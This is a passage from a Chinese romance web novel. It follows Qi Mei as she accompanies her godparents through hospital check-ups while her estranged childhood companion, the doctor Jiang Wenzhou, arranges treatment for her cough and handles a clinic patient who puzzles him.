而江问舟始终只是作壁上观,局外人一样看着她,目睹她所有的局促和不安。 以至于齐眉根本不敢再抬头,生怕再看见他那张戴着面具的平静的脸,和那双湛亮的双眼。 总觉得被他一看,内心的阴暗面就会无所遁形。 这种感觉令她几欲窒息,更别提好好品尝大家都说不错的菜品,不管是粥还是其他点心,她都是混着唾液囫囵吞下去的,根本吃不出味道来。 早茶一直吃到中午十一点半,这下一家人连午饭都省了,下了楼,看见对面有家药店,孙茂芸就拉着齐眉进去买止咳糖浆。 看着她在母亲的催促下仰头喝下一口止咳糖浆,然后抿着唇眼睛眯起来,脸上神情有些苦涩,江问舟不禁叹口气。 这人吃药怎么这么难啊? 止咳糖浆似乎没多大用处,齐眉的咳嗽一直到下一周孙茂芸和江眀琮做体检那天,也不见一丝一毫的改善。 周二那天一大早,七点不到齐眉就起来了,要陪孙茂芸和江眀琮去医院,早上有空腹抽血的项目。 到医院的时候,差不多是八点钟,江问舟的电话来得刚刚好,问孙茂芸带没带早饭。 “带了,我们从家里带了有。”孙茂芸应道,问他,“你给西西挂号没有,挂的哪个医生?” “她的……”江问舟顿了顿,叹口气,“她的我一会儿带她直接去病房找呼吸科的张主任看看。” 于是齐眉先陪两个大人去抽血,然后先去做幽门杆菌的吹气试验,这两项刚做完,时间就已经将近九点。 齐眉确认过接下来已经没有空腹的项目,赶紧让他们先吃早饭,一边吃还一边讨论接下来先去做什么。 “要先把排队时间长的先做了,胸片和心电图这些,别的应该都很快。” “还有个B超……西西,我们B超不用空腹吗?” 齐眉一边看着医院上体检中心的温馨提示,一边摇摇头:“今天只做心脏和四肢血管、泌尿系统和子宫附件,憋尿就行,啊、心超和四肢要先预约,一会儿就去吧……腹部是周五才做,做胃肠镜之前先去做腹部超声,因为要空腹。” 话音刚落,就听到背后传来一声:“妈。” 一转头,就见穿着白大褂的江问舟出现在眼前,精神奕奕,目光清明,齐眉看他一眼,立刻借收拾东西的动作转开视线。 “血抽完了?”江问舟问道,视线自然地划过齐眉。 她今天穿了一身白雪公主配色的衣服,深蓝色的阔腿裤,鸡蛋黄的方领短袖,全身上下只有一样点缀,如果头上那条红色的提花缎面发带算的话。 巧克力棕的浓密微卷长发被她扎成了高马尾,格外柔顺地垂在她脑后,看起来像蒙着一层清透的光,打理得格外整齐漂亮。 江问舟此刻的心里竟然莫名涌现出一点可以称得上欣慰的感觉。 头发养得好,说明营养好,嗯,挺好的,再怎么样也没亏待自己。 “幽门杆菌那个都做完了。”孙茂芸回答道,跟他说他们一会儿的打算。 听完后江问舟道:“先去约心超,时间比较充裕,就先去做胸片,不是很充裕,就先去做心电图,心电图室和超声科在对面,离得近,不要急,慢慢来,没做完的项目可以下午做。” 孙茂芸点点头应好,接过齐眉手里的东西,交代他:“赶紧带西西去看看,这几天吃的止咳糖浆屁用没有,昨天晚上睡觉咳得屋子都快塌了,年年急得直挠门。” 江问舟立刻看向她,齐眉顿时一囧,小声辩解:“……也没有吧,我觉得已经好点了。” 江问舟闻言笑笑,对孙茂芸道:“那我先带她走,你们先去约检查,超声科在三楼,楼梯上去以后右手边。” “知道知道,交尿检标本那里对面嘛。”孙茂芸摆摆手,让他们赶紧走,“别耽误你一会儿工作。” 江问舟应了声好,看一眼齐眉,示意她跟自己走。 齐眉便老老实实地跟着他走了,她倒是想客气说自己去,可看他一直带着自己往住院部走,明摆着是要去走后门的,只好闭嘴。 住院部等电梯的人多,第一趟电梯他们根本挤不进去,关门前倒是有人往里挤了挤,招呼江问舟:“医生快进来,还有位置。” “不用了,我等下一趟。”江问舟笑着道了声谢。 看着电梯门合拢,渐渐上行,齐眉突然听到他问了句:“你真的有好好吃药,吃了止咳糖浆以后没喝水吧?” 第34章 第三十四章(二合一)他们竟然已经生…… 江问舟突如其来的问题,让齐眉瞬间错愕,不由得愣愣转头,看着他露出茫然迟疑的神情。 好像不确定是不是在跟她说话似的。 江问舟扭头,见她一脸发懵,全没有他熟悉的机灵劲儿,一时又忍不住想叹气了。 “你……” “当然有了。”齐眉这时总算反应过来,立刻为自己辩解,“该吃的药我都吃了的。” 既不是三岁小孩,又不是故意想生病糟蹋自己的身体,怎么可能会做出故意不吃药之类的事。 这人也太小看她了吧?! 齐眉越想越觉得委屈,抿着唇别过脸去,觉得嗓子痒,又咳了两下。 隔着口罩,她的声音听起来闷闷的,似乎不太高兴。 江问舟嘴唇动了一下,想说什么,最后又没有说。 但是心里却难以遏制地涌起一起难过来,原来他们之间已经变成了这样,连正常的关心对方的话都不会说了。 两个人之间连好好说话都不能的时候,意味着什么? 齐眉竟然会以为他们的关系还能回到从前,像小时候那样只做单纯的兄妹,简直天真得过分。 青梅竹马成恋人,要么再进一步结为伴侣,要么退很多步连陌生人都不如。 齐眉别着头,在心里嘟囔着骂江问舟讨厌,这都什么人呐,竟然以己之心度她之腹,哼哼…… 但随即便是更重的委屈,别人不了解她,会这么想也就罢了,他居然也这么想,他怎么能……他难道不该最了解她是什么样的人吗? 不过这两三年过去,他们都变了,就像她已经不了解他在想什么一样,也许确实是她强求和想当然了。 又自以为是了呢,这坏习惯什么时候才能改好啊?她忍不住叹口气。 但声音呼出来的那一刹那,她好像听到耳边还响起了另一道叹息声,不由得一愣,下意识扭头去看。 却只见江问舟双手抄在白大褂兜里,微仰着头认真看电梯数字,侧脸的下颌线线条流畅利落,嘴角微微抿着。 齐眉的视线不自觉地在他显露出来的喉结上停顿了几秒,随后立刻转开眼。 大概是听错了吧,她想。 电梯总算是到了,江问舟缩在口袋里攥成拳的手指松开,伸展了一下才拿出来,伸手按住电梯开关门的按键。 然后冲齐眉轻轻一抬下巴,她立刻就乖巧地进去了。 一直到人进得差不多了,江问舟才走进电梯,转身按了呼吸科的楼层,齐眉看着电梯门在眼前缓缓闭拢,好像把落在他头顶的那一点光也遮去了。 她站在人群最后面,紧贴着电梯轿厢壁,定定地望着前面那道高挑挺拔的背影,渐渐有些出神。 最后连楼层到了都没发现。 呼吸科到了,江问舟从电梯出来,身后跟着两个其他人,他转身才发现齐眉没出来,眼看电梯门就要关闭,他赶紧按住门控开关。 关闭到一半的电梯门立刻又向两边打开。 他迎着里面投出的疑惑目光叹了口气:“西西,出来了。” 接着对大家抱歉道:“不好意思,麻烦各位给她让一下,她在后面。” 齐眉这才猛然回过神,看着大家让开的路,顿时尴尬到脸上一阵火烧火燎,连忙道了声歉,低着头就往外钻。 电梯门关闭的声音在身*后响起,一同传来的还有一声轻轻的叹息:“……这边。” 齐眉:“……”啊啊啊啊又错了吗?!! 她脸上的温度立刻升得更高,根本不敢抬头去看江问舟,只一味低着头跟在他身后往前走。 江问舟侧头一看,见她垂着头,臊眉耷眼的模样跟金金犯了错时一模一样,先是一愣,随即摇摇头笑了一下。 各科室的布局都大同小异,江问舟领着齐眉直奔医生办公室,在门口就碰到张主任。 “哟,来了?我刚想问你什么时候来呢。”张主任笑眯眯同江问舟打着招呼,同时看向齐眉,“这就是你妹妹吧?” 江问舟笑着应了声,齐眉的眼睫就是一颤。 “她先是小感冒,接着就咳嗽了,总也不好,麻烦您给看看,是不是要拍个胸片看看?”江问舟笑着问道。 张主任点点头,示意他们进办公室,“坐下我先听听呼吸。” 这个时候也才九点,正是内科一天中最忙的时候,所有人手上都有活,不是在开医嘱和检查单,就是在写病历或者办出院,两台打印机此起彼伏地发出咔咔的响声,不停往外吐着打印好的医嘱。 “来,让我两张椅子,病历一会儿再写也可以啦。”张主任拍拍一旁的学生的肩膀,要了两张椅子,坐下后拍拍旁边,招呼齐眉,“坐吧,叫什么名字呀?” 江问舟一面伸手挪了一下椅子,让齐眉坐下,一面代为应答:“齐眉,举……整齐的齐,眉毛的眉。” 张主任在一张空白的处方上写下这两个字,哦了声:“就是举案齐眉的齐眉啊,这名字好听。” 这下不仅齐眉,就连江问舟的眉头也忍不住跳了两下。 张主任又好奇:“不是你妹妹吗,怎么不同姓?妹妹跟妈姓啊?” “……是叔叔家的女儿。”江问舟一噎,只好继续解释。 张主任哦了声,开始正式给齐眉问诊,又听了听她的呼吸,皱起眉问道:“小时候是不是有过长期咳嗽的经历?” 齐眉眨眨眼,还在想到底是四年级还是五年级,就听江问舟应了:“她四年级的时候有过一次,咳嗽咳了三四个月,什么药都吃过了也没好,后来我妈带她去看中医,捡了中药吃了半个多月才好。” “难怪气管听着不太好。”张主任点点头,收起听诊器,笑着道,“问题不大,吃点消炎和止咳的药看看,不放心的话,也可以去做个胸片,想做吗?” 齐眉闻言立刻抬头往身后看。 江问舟就站在她身后,扶着椅背,闻言应道:“做吧,看一下能放心一点。” “行,我把药也给你开了,回头你们自己看看报告,只有一点炎症的话,就按这个处方吃,有不对劲再过来我调一下药。”张主任点点头,又说,“一会儿先下楼补个号,我在电脑再补一下,不然药房执行不了医嘱。” 交代完了又嘱咐齐眉:“最近不要吃有刺激性的东西,辣的酸的冰的,都先停一停,好了再吃,知道么?” 齐眉连忙点头。 张主任这处方都还没写完,齐眉就听到背后传来一道很轻快爽朗的女声,问江问舟:“咦?江主任这个点怎么在这儿,谁请了会诊吗?” 接着就听江问舟笑着应:“是我请了张主任的会诊。” 齐眉立刻转过头,看见一位面容和善的女医生正在身后,便下意识地冲对方笑了一下。 “诶哟,这不会是江主任你的女朋友吧?这么漂亮,啧。”对方也冲她露出一个甚是明亮的笑容,接着笑嘻嘻地问江问舟,语气有些调侃。 齐眉一愣,嘴唇接着一动,被牙齿紧紧咬住。 这个问题……他会怎么回答?齐眉都不敢去看江问舟的脸。 但她能听到他的回答:“不是,这是我妹妹,舒医生误会了。” 齐眉心里一黯,果然是这样……可是,不就该这样么? “啊?我又搞错啦?”耳边响起舒医生有些无语的吐槽,“你们说我怎么就老犯这个错误呢?昨天才把人家老公认错成她爸,今天又……” 她说着对江问舟和齐眉说了声抱歉。 张主任刚好把处方开完,揶揄了她一句:“因为你缺心眼呗。” 说完对齐眉道:“你想不想吃中药?想吃的话挂一个她家厉宁述的号看看,就咱们医院中医科。” 江问舟闻言低头看向齐眉。 只见她往椅背上一靠,俨然一副避之唯恐不及的姿态,顿时无奈。 拜小时候那段天天药不离口的生病时光所赐,她对中药汤的印象可不怎么好,除了苦还是苦,生了病也能不吃药就不吃药,非得吃也只接受胶囊药片冲剂之类,汤药那是万万不可能的。 所以这么说来,她说自己其实不太喜欢医学,不怎么想当医生,也算是有原因的了。 江问舟心下叹口气,先同张主任和舒医生道了声谢,才接着道:“过几天再看看,要是药吃了还是没一点好转,再去看看。” “那你们到时候可以去我们家的医馆看看。”舒医生笑着道,“在外面用药方便一点,就是要贵一些。” 有些药医院的药房可能没有。 江问舟应了声好,记下舒医生说的地址,接过张主任给的处方,再三道过谢,这才带着齐眉离开呼吸科。 出了门,他将处方和检查单转手递给齐眉,声音恢复成她近来已经听习惯了的那种带着些许刻意为之的冷淡的平静:“我手术马上就要开始,你……自己下去挂个号,认得路吧?” 齐眉垂下眼,点点头,接过他递过来的几张纸,嘴唇嗫嚅几下,才低声说了句:“今天……给你添麻烦了。” 添麻烦…… 江问舟很难不想起从前那个对他提要求提得理直气壮理所当然的齐眉,忍不住深吸一口气。 “……不用客气。”他也低声应了一句,又将张主任交□□的事重复一遍,见电梯来了,这才和她一起进去。 然后他在六楼就下去了,从这里可以直接通往手术中心。 从电梯出去,他甚至还回头看了一眼齐眉,和她四目相对地看着彼此,只几秒便冲她点点头,转身就走,到底是没说一句话。 电梯门重新合拢,齐眉低头看着手里处方上陌生的字迹,脑海里纷乱如麻。 一会儿是他以前带她去找熟识的学长看急性肠胃炎,深更半夜陪着她在急诊挂水,一会儿是他刚才对同事介绍她是他妹妹…… 这一刻她好像清晰看到了内心深处溃不成军的自己,明白了自己想要什么,又站在分岔路口手足无措,不敢确定。 下了楼,补号缴费之后,她拿着检查单去放射科同孙茂芸和江眀琮汇合。 “怎么说,你也要拍胸片啊?”江眀琮看到她手里的检查单,问道,“主任怎么讲?” “……开了药,不过……舟哥说,拍个胸片排除一下肺炎。”齐眉有些讪讪地回答。 果然话音刚落,就听孙茂芸开始数落:“看吧,我就说,这么咳下去早晚有别的问题,你小时候就试过,肯定是因为你没早睡,不好好休息,总是玩手机,才会一直吃药都不好的!” 齐眉:“……”啊对对对,孩子有什么不舒服都是玩手机玩出来的! 检查做完,要等半个小时才能出报告,趁着这时间,齐眉赶紧陪二老去做B超,孙茂芸刚进去,那边报告就出来了。 拿到手一看,肺是没事,支气管炎真的犯了。 于是接下来一整天,她都被孙茂芸数落玩手机和熬夜这两件事,晚上自然也没有去店里。 在家里抱着年年边咳嗽边看电影,还听到孙茂芸同江问舟聊视频,先是骂她玩手机,接着骂江问舟不回来喝汤。 电话里外都是一片沉默,已经隔阂颇深的两个人,竟然在这时难得重回默契。 啊对对对,千错万错都是我们的错,我们认,随便老妈你怎么骂:) 好在骂完就过了,转眼就是周五,齐眉一早陪孙茂芸和江眀琮出门,今天要做无痛胃肠镜。 “这是什么?” “裤子呀,做肠镜穿的,这个是屁帘。” “哎哟,做肠镜还要穿这个的呀?会不会不好意思……” “你都全麻了,什么都不知道,能有什么不好意思啦。” 聊着的时候,就轮到江眀琮进去了,孙茂芸就在外面一直念叨,问齐眉这个检查是怎么做的。 齐眉解释一通,随口说起自己以前听说的事,有家医院的内镜医生给住院的病人做肠镜,结果把病人弄出了肠穿孔,直接送进了ICU,后续自然是患者家属和医院之间关于赔偿数目的来回拉扯。 孙茂芸听了就忍不住纠结:“咱们家不会这么倒霉吧?这钱可不兴要,哎呀……” 齐眉:“……”我就不该这个时候多这种嘴。 江问舟周五上午有半天门诊,倒是没时间过来看他们,只在上一个病人结束诊疗离开之后,抽空给孙茂芸发信息。 信息还没写完,下一位病人就进来了。 江问舟只好先招呼对方:“请坐,稍等。” ————— 江问舟发完关切父母检查进度的信息,收起手机,抬头看见办公桌对面坐了一位穿着旦黄连衣裙和白色防晒衫外套的年轻女性患者。 “抱歉,耽误了一点时间。”他先道了声歉,随后问,“请问您哪里不舒服?” 病人说没关系,随后道:“医生您好,我最近偶尔觉得有些心慌心悸,就是心跳得很厉害,请问是为什么啊?” “原因有很多,既有生理性的,也有病理性的。”江问舟解释道,“情绪激动或者摄入咖啡因和酒精,又或者最近比较焦虑、紧张,都有可能出现这种症状,除此之外,心脏本身的疾病,或者其他身体疾病影响到心脏,也会出现这种症状。” 接着他就问:“除了心慌心悸,有没有胸痛胸闷?” “这个没有的。”女病人摇摇头,目不转睛地看着他。 江问舟起初也没在意,病人嘛,来了医院都是很紧张的,很担心错过医生说的一言一语,专注点很正常。 他接着问:“有没有气促或者气短?会不会很容易累?” “这个还好,我每个月都会去一次徒步的。”对方回答道。 能坚持运动,看来身体不会有什么问题,不然支持不了她参与徒步这种活动。 江问舟点点头,接着问道:“有手抖吗?体重有没有什么明显改变?出汗多不多?” “别的都没有……”病人顿了顿,笑着反问他,“胖了三斤,算不算明显改变?” 江问舟失笑:“也许算,但不是快速消瘦或者快速增胖,就没问题。” 一样样可能指向某个会引起心慌心悸的疾病的症状都被排除,于是江问舟最后询问起对方的工作:“请问您从事的行业是?” “公务员,我在市医保局工作的。”对方说完,眼见江问舟和助手的的神情微微有些变化,忙解释道,“医生你们放心,我真不是什么来暗访的,我今天就是一个……普通的病人,总不能我们在医保局上班的,就永远不生病,不老不死吧?” 江问舟听了笑笑,不置可否,按照自己的问诊顺序继续问下去:“最近工作忙不忙,压力大不大?” 病人点点头:“有点大,最近巡视组下来了,各方面都抓得很严,而且本来就有不少工作。” 说到这里顿了顿,她像是开玩笑,还说了句:“不耽误您工作,我这就不展开了。” 江问舟一面在心说您可别展开,一面笑着道:“从您的问诊结果来看,出现心慌心悸很可能是因为最近工作压力比较大引起的,适当休息,或者等忙完了,自然就好了。” 顿了顿,他接着问:“会经常喝咖啡吗?” 对方问完立刻苦笑,竖起两根手指:“一天起码两杯,不然根本撑不住,困都要困死了。” “咖啡因摄入过多也会影响心率,您或许可以尝试一下其他的提神方法,少喝一点咖啡,当然,最好还是睡觉,睡够了就不困了。”他说到这里耸耸肩,“不过我想您可能也身不由己,很难做到。” 话刚说完,就大家一起颇有些自嘲地笑起来,这屋里此时三个人,没有一个人敢说、敢保证自己能在晚上十二点之前就睡的。 笑过后,江问舟谨慎地道:“虽然我认为您的心慌心悸不用太担心,休息后会好,但确实有些疾病在早期不会有很明显的异常表现,所以如果您愿意,可以做一个心电图和心脏彩超,明确排除一下器质性疾病,这样更有利于为您提供治疗意见,您觉得怎么样?” 用词谨慎,一听就是仔细斟酌过的,对方闻言眉头一挑,笑着打量起江问舟来。 半晌才问:“如果我不想做,要签拒绝治疗的知情同意吗?” “当然,这是常规工作流程。”江问舟温声回答道,“希望您能理解,这不是什么过度诊疗,我们只是普通人类,没有透视眼,但很巧,机器有,它们可以辅助我们进行疾病诊断。” 对方听完又是一阵没说话,过了好一会儿才啧了声:“好官方的解释,你是不是真的不信我只是一个普通病人?” 江问舟还是笑吟吟的,声音温和:“我对所有病人都一视同仁,不管他是什么身份,在这里都是我的患者,很感谢你们愿意信任我。” 话音刚落,对方立刻笑出声来,点点头:“好吧,麻烦您给我开一张心电图和心脏彩超的检查单,来都来了,不要浪费。” 说完耸耸肩:“万一呢?还可以早发现早治疗。” 等江问舟将检查单写好,夹在门诊病历本里递过去,还没来得及开口告诉她检查室在哪儿,就听她忽然说了句:“你很快就会真的相信,我不是来暗访的。” 江问舟微微一愣,有些惊讶地看向她,面露疑惑。 大概是终于看到他变脸,觉得好玩,对方眼睛一弯就笑起来,声音里带上了很明显的笑意:“改天再见,江医生。” 一直到她离开了诊室,江问舟都没闹明白这人到底是来干嘛的。 还改天再见,他们认识? “这病人叫什么名字?”他皱着眉头问一旁帮忙录门诊病历和处方的学生。 “聂初晴。”学生看了眼系统回答道,接着问,“主任,不会真的是来暗访的吧?” 完啦!他们被医保盯上了?要被扣钱了?哇靠……幸好他是规培牛马,扣钱也扣不到他头上呢:) 江问舟叹口气,摇摇头:“谁知道呢?不管,做好我们自己的事就行了。” “叫下一个。” 他语气淡淡,心里想的却是不知道爸妈的检查做完没有,诶,刚才忘了看有没有回信息,只能等这个病人看完了。 这时的孙茂芸正抓着齐眉的胳膊紧张兮兮地问:“西西啊,这都半个小时了,你爸怎么还不出来啊?不会真的……真的出什么意外了吧?” 齐眉一面在心里吐槽自己刚才多嘴,一面连忙安抚她:“胃镜和肠镜一起做呢,这是属于两个项目了,当然要久一点了,而且有可能要治疗……” “治疗?什么治疗?意思是你爸有什么不好的地方吗?”孙茂芸立刻更紧张了,甚至开始嘟囔,“就说让他别抽烟别抽烟,这下好了……这次回去非得摁着他把烟戒了才行!” 齐眉一囧,连忙续上刚才没说完的话:“不一定是什么不好,是有可能有息肉,很多人都有的,您先别担心,好不好?” 她努力将孙茂芸安抚住,但没过一会儿,护士就来通知,轮到孙茂芸去做准备了。 “可是你爸都还没出来……”想到还没从检查室出来的丈夫,孙茂芸犹豫不决,满脸担忧。 齐眉哎呀一声,干脆直接把她拉起来,将她往准备室的方向推,语气轻松道:“没事的啦,这不还有我吗?干爸出来我会照顾的,你就安心进去吧,早点做完我们可以早点回去,不然大家就要一直饿着肚子哦。” 等看着孙茂芸进了检查室,齐眉这才呼出口气,紧接着肩膀往下一塌。 她抱着胳膊坐在椅子上,目光有些定定地望着检查室的方向,终于可以毫无顾忌地表现出内心的忐忑和紧张。 怎么可能真的不担心呢,那可是自己的亲人。 检查顺不顺利、看到什么、有没有做治疗……知道得越多,其实就越担心,总觉得肯定是哪个环节出问题了,才会很久都不出来。 她刚才只是不能跟孙茂芸说罢了,毕竟她接下来也要做检查,自己跟她说这些,除了能加重她紧张和担忧的情绪,毫无益处。 好在孙茂芸进去之后没过多久,大概是二十分钟左右,齐眉终于听到一句:“江眀琮家属,家属在吗?病人已经醒了。” 终于好了一个! 齐眉总算可以松口气,连忙应了声,起身往苏醒室大步走去。 到了门口往里一看,见江眀琮躺在病床上一副刚睡醒满脸蒙圈的表情,她再次松口气,忙问护士:“有做什么治疗吗?” “取了两颗息肉,具体情况可以问问医生。”护士回答道。 齐眉道了声谢,刚要喊江眀琮,就听自己包里传出一阵手机铃声,是孙茂芸的手机响了。 拿出来一看,是江问舟打来的,估计是要问检查做得怎么样了,她干脆接起来。 还没来得及出声,就听对面直接问道:“西西吗?” 齐眉呼吸顿了一下,才嗯了一声:“怎么了?” “爸妈的检查做完没有?”江问舟是在看病人的空隙抽空打的电话,也没时间和她磨叽,直接就问出自己最关心的问题。 倒是齐眉听到他这声语气自然的“爸妈”,心里突然有些莫名的滋味开始翻滚,恍惚间他们真的成了最普通的兄妹…… “……干爸的做完了,麻醉刚醒。”她回过神,匆匆应道,“干妈是二十分钟前进去的。” “没什么问题吧?”江问舟接着问。 “护士说做了治疗,有两颗息肉,具体情况我还没问医生。” “我下了门诊再看看。” 江问舟刚说完,齐眉就听见对面还传来一声“医生”,应该是病人进诊室了,她立刻识趣地应了声好,要挂电话:“你忙吧,我先挂了。” 江问舟顿了顿,想说好,可出口的却是:“麻烦你了。” 话说完了没听到回复,只听见一声有些急促的吸气声,随机就是嘟的一声,电话挂断了。 好了,这下真得罪人了。 江问舟有些讪讪地收起手机,抬手蹭蹭鼻尖,回过神,笑着问对面落座的患者哪里不舒服。 齐眉觉得自己现在已经和江问舟没什么好说的了,她照顾干爸干妈本来就是应该的,他却跟她说“麻烦你了”,这是什么意思? 就算是兄妹,你会对你照顾父母的兄弟姐妹说这样的话吗,大概率不会吧? 他们竟然已经生分至此。 齐眉突然意识到自己到底有多天真,多异想天开。 她以为他们能做回兄妹,做回普通的一家人,但最近种种都在告诉她,绝无这种可能。 正常的妹妹,不会对哥哥要去相亲、要开启新的人际关系这件事,感到惶恐不安,耿耿于怀,排斥抗拒到吃不下睡不着。 普通的哥哥,不会觉得妹妹照顾父母、陪父母体检是麻烦对方,客客气气,像对一个外人。 他们终究只会渐行渐远,不可能回到从前小时候。 齐眉忽然间觉得灰心,觉得世界就像一个巨大的沙滩,她在意的只有面前这一块地方,害怕别人来抢,害怕自己不慎弄丢,于是想永远紧紧抓住。 可她抓得越紧,沙子就越是从指缝间流失,最后她摊开手掌一看,只剩最后一点潮湿的沙砾沾在手心里,甚至因为她用力过度而刺破皮肤,出现点点斑驳血迹。 她不知道该怎么办,只好叹口气。 孙茂芸的检查在半个小时后结束,又过了一个小时,他们终于结束这次胃肠镜检查,可以回家了。 临走前齐眉去问过检查医生,江眀琮的息肉是怎么回事,医生说息肉很小,基本问题不大,平时注意饮食,每年定期肠镜体检就可以了。 回去的路上孙茂芸一直在念叨江眀琮,让他一定要戒烟,说什么:“人老了就是要惜命,你要是有个三长两短,退休金都领不回本!” 江眀琮一噎,刚要反驳,她就继续说:“你一辈子为了工作,为了当事人,为了你那狗屁正义,好不容易活着退休了,身体眼看着也还过得去,至少比你那些一天要吃十几片药的老伙计们强,你不为孩子们考虑考虑?” 这话一说,江眀琮就不吭声了,半晌才有些郁闷地叹口气:“戒戒戒,我戒,行了吧?!” 齐眉把着方向盘,一面听孙茂芸嘟囔这还差不多,一面忍不住失笑。 这天除了他们做检查,还是纪达出院的日子,术后已经半个多月,也总算是恢复到了能出院的程度。 早上拆完线,纪琏就接到管床的秦医生的通知,今天终于可以出院了。 “一会儿护士算出账来,你们补一下费用,来办公室拿一下出院小结就可以回家了。” 接着又说有出院带药,到时候拿出院小结时会教他们怎么吃,不过如果要复印病历办报销材料的话,得下周再来一趟。 送走秦一鸣,纪琏回头对他爸嘿嘿笑:“要解放了,高兴不?” “刑满释放,你说高不高兴?”纪达哼哼两下,嘴角忍不住一翘。 纪达出院,齐眉被孙茂芸委派来接他,要回村里的小院,几个大人这次是要集体修养了,正好一起过端午。 “还得去拿出院小结呢。”纪琏一边收拾行李,一边问齐眉,“你说锦旗什么时候送比较好?” “过几天来办报销材料的时候呗。”齐眉回答道,看了眼要带回去的药,华法林,看来纪达可能有房颤。 行李收拾好,纪达说:“一块儿去吧,当面给秦医生他们道个谢,半个多月真是多亏了他们照顾。” 于是几个人一块儿去了办公室,齐眉站在门口,看见江问舟了,便立刻撇开眼。 周五下午江问舟既没有手术,也没有门诊,难得的轻松,只需要处理一些文书工作。 看见纪达父子过来,立刻放下手里的病历,笑着问:“这就回去了?” “是啊,你妈都让西西过来接了,这就回去了。”纪达笑着点点头。 江问舟便看向齐眉,见她扭着头看墙上挂着的劳动纪律,想叫她,又叫不出口。 接下来全程就是秦一鸣和纪达的对话,教他怎么吃药,什么时候要去复查,诸如此类。 而齐眉一声不吭,垂着眼抠指甲,一副蔫蔫的样子,隔着口罩都能感觉到她的面无表情。 直到送走他们,秦一鸣从门口折返,看到江问舟还在看病历,眼睛一转,坐了过去。 诶了声问道:“老大,你是不是得罪你家……妹妹了?” 陈妍和蔡朝他们立刻竖起耳朵要听八卦。 江问舟见状一噎,后脑勺都快要开始冒汗了,好家伙,这么明显吗? “……没有。”但他选择了死鸭子嘴硬,“她最近不太舒服。” 第35章 第三十五章(二合一)但这个生日过得…… 五月份结束在端午节假期,在正式放假之前,忙了好几天。 每年五六月份,是容城国际机场集团一年一度员工体检的日子,集团一万多名职工的年度体检工作,要在两个月内完成,这对民航医院来说,绝不是一件容易的事。 所以齐眉他们这些驻扎在机场的医疗组,也被抽调回来帮忙,排上了体检中心的班。 于是在端午节前,齐眉就过上了一天机场班两天医院班的日子,非常忙碌,但也十分规律。 但也正因这样忙碌,她便提前将年年送回了家,顺便带回去单位发的端午节礼,粽子和咸鸭蛋的组合礼盒,还顺便买了两箱水果。 结果回到家发现孙茂芸买了荔枝,几乎是一整筐,除了妃子笑和桂味,还有齐眉很喜欢的白糖罂。 大人们围在桌边吃荔枝,年年就趴在一边,抱着一块碗大的冰块在舔,据说是加了一点荔枝汁进去冻起来的。 “问了医生,说给吃一点点没事,那就让它也尝尝味道呗,不然老是凑过来,馋得口水滴滴答,看着好可怜啊。” 孙茂芸说着,递给她一个剥了壳的白糖罂。 然后说:“你也不准多吃,吃两颗就可以了,咳嗽还没好,荔枝热气啊。” 齐眉一噎:“……这么多呢,就你们四个人吃,就不怕热气了?” 孙茂芸淡定地回答道:“我放冰箱保鲜着,你哥过两天就回来,让他吃,他不怕热气。” 齐眉:“……”好好好,决定从今天开始讨厌江问舟! 她总共吃了五颗荔枝,基本是每个品种都只尝一两颗,就被孙茂芸赶到一旁,一边看着年年舔冰块,一边听江眀琮问她端午节休不休息。 “不休息啊,那天正好是正常上班的日子。”齐眉懒洋洋地应道。 纪琏听了就笑着叹口气:“端午节你也不能放假,听着就辛苦。” 齐眉听了眉头一挑,扭头问他:“小纪哥你知道我们集团去年员工平均年收入是多少么?” 虽然对她突然提到这个话题感到惊讶,但该说不说,大家是真好奇啊,孙茂芸立刻就问是多少。 “四月份的公开财报显示,去年我们集团的人均薪酬是23.21万。”齐眉笑道,“当然,具体到个人,我没有这么多,一半左右吧,但是我一个月才上十天班啊。” 纪琏:“……” 他无语半晌,认真问道:“你们公司还招人吗?” 齐眉一听,立刻指着他对纪达嚷嚷:“纪叔叔,这里有人好逸恶劳,快让他背八荣八耻!” 大人们忍不住都笑出声来,笑声里夹杂着突然响起的手机铃声。 “舟舟打来的。”孙茂芸看一眼手机,边说边擦干净手,接通江问舟打来的视频电话。 很快,齐眉就听到他的声音从手机另一头传来:“妈,你们吃饭没有?” “还没呢,还早,天又热,晚点再吃。”孙茂芸应着,将手机举起来,调转摄像头,“让你看看我们在吃什么好东西,今天买的荔枝特别好,我挑一些放冰箱存起来,留给你过两天回来吃好不好?” 江问舟当然应好,从镜头里看到茶几对面沙发里坐着的齐眉,正趴在沙发扶手上,侧身对着镜头,不知道在认真看什么。 反正是一副没听到有人在说话,自得其乐的模样。 江问舟自问对她还算了解,看她这副模样,多少能感觉到她这样是故意的。 至于是不是因为前几天自己说错话得罪了她,至今没消气……他觉得很有可能。 江问舟心里涌起一股哭笑不得的无奈。 他发现,就算自己想服软,也不知道该跟她说什么了,他怕一出口,说的就是:“你别恼了,随便你怎么罚我,就是别不理我,好不好?” 听听,多么让人想入非非的话,不是他一个当哥哥的人能说的。 不如就这样,就当什么都没发生,什么都不知道,等着时间将这件事变成她心上一道疤,也变成他永远的愧疚。 至于以后?嗐,人活当下,谁管得到以后的事呢,谁都不知道未来会如何。 他一面在心里自嘲,一面不动声色的问:“这么多,都买了什么品种,不会只有妃子笑吧?” “怎么可能,你纪叔叔和小纪哥难得来一趟,怎么也得吃够了再回去啊。”孙茂芸拿起荔枝一颗一颗给他看,这个是妃子笑,这个是桂味,云云。 听她介绍到白糖罂,江问舟的眉头一挑,问道:“怎么白糖罂才买这点,是今年白糖罂比较贵?” “贵是贵一点,但也不是很贵,主要是……”孙茂芸看一眼还趴在那儿看年年玩冰块的齐眉,笑道,“西西咳嗽还没好,又不能多吃,买那么多干什么,馋她?” 江问舟这下实在忍不住,好家伙,这也太倒霉了,因为咳嗽,连喜欢的荔枝都不能多吃几个。 他嗤一下就笑出声来:“是么。” 虽是隔着手机,但那笑声听起来却格外清晰,齐眉很难装作没听见。 她当即就有些恼了,下意识地扭过头去,想辩解说这又不是*她想的,吃了药还不能立刻就好,那是药的错! 但话到嘴边,她又想起来已经决定不跟江问舟说话了,于是扭头的动作硬生生停住,还没来得及说的话也跟着咽回了肚子里。 最后变成一个气呼呼的白眼。 江问舟本来也没看见她这动作,是孙茂芸先看见了,立刻用手机对准她,吐槽说:“你还敢翻白眼?要不是你咳嗽,怎么会不能吃荔枝?你这叫自作自受,再玩多点手机看看?” 话还没说完,江问舟就看见齐眉已经抬起手捂住了耳朵,还把头扭向另一边。 看起来似乎更委屈了,江问舟看着她,忍不住笑着叹了口气。 